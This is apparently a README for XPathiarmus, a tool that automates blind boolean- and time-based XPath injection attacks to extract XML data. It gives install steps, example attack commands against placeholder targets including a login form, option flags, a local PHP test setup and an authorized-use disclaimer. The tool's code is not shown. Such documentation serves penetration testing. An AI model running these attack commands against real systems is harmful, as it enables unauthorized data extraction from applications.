XPath Injection Attack Tool for blind injection attacks.
██╗ ██╗██████╗ █████╗ ████████╗██╗ ██╗██╗ █████╗ ██████╗ ███╗ ███╗██╗ ██╗███████╗
╚██╗██╔╝██╔══██╗██╔══██╗╚══██╔══╝██║ ██║██║██╔══██╗██╔══██╗████╗ ████║██║ ██║██╔════╝
╚███╔╝ ██████╔╝███████║ ██║ ███████║██║███████║██████╔╝██╔████╔██║██║ ██║███████╗
██╔██╗ ██╔═══╝ ██╔══██║ ██║ ██╔══██║██║██╔══██║██╔══██╗██║╚██╔╝██║██║ ██║╚════██║
██╔╝ ██╗██║ ██║ ██║ ██║ ██║ ██║██║██║ ██║██║ ██║██║ ╚═╝ ██║╚██████╔╝███████║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝
by r0n0
XPath Injection Attack Tool for blind injection
XPathiarmus is a specialized tool designed to automate blind XPath injection attacks. It supports both time-based and boolean-based blind injection techniques to extract XML data from vulnerable applications.
- Blind Boolean-Based Injection (GET/POST)
- Blind Time-Based Injection (GET/POST)
- Automatic XML structure enumeration
- Recursive data extraction
- Support for custom request delays
git clone https://github.com/yourusername/xpathiarmus.git
cd xpathiarmuspython3 xpathiarmus.py -u http://target.com/?search=test -p search -X GET -m blind-time -c 2Parameters:
-c: Number of nested count() expressions (adjust for optimal timing difference)- Higher values create more delay but increase reliability
python3 xpathiarmus.py -u http://target.com/login -X POST \
-d "username=test&password=test" \
-m blind-boolean \
-p username \
-v "Welcome" \
-i "Invalid credentials"Parameters:
-v: String indicating valid/successful response-i: String indicating invalid/failed response
-u, --url Target URL with parameters
-X, --method HTTP method (GET/POST)
-d, --data POST data (if applicable)
-p, --param Parameter to inject
-m, --mode Attack mode (blind-boolean, blind-time)
-v, --valid Valid response indicator (boolean mode)
-i, --invalid Invalid response indicator (boolean mode)
-c, --counts Nested count levels for time delays (default: 10)
-t, --delay Delay between requests in seconds (default: 0)
A test PHP file is included for time-based attack testing:
php -S localhost:8000 test_time_based.php
python3 xpathiarmus.py -u "http://localhost:8000/test_time_based.php?search=test" \
-X GET -m blind-time -c 10This tool is for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. The author is not responsible for misuse of this tool.
r0n0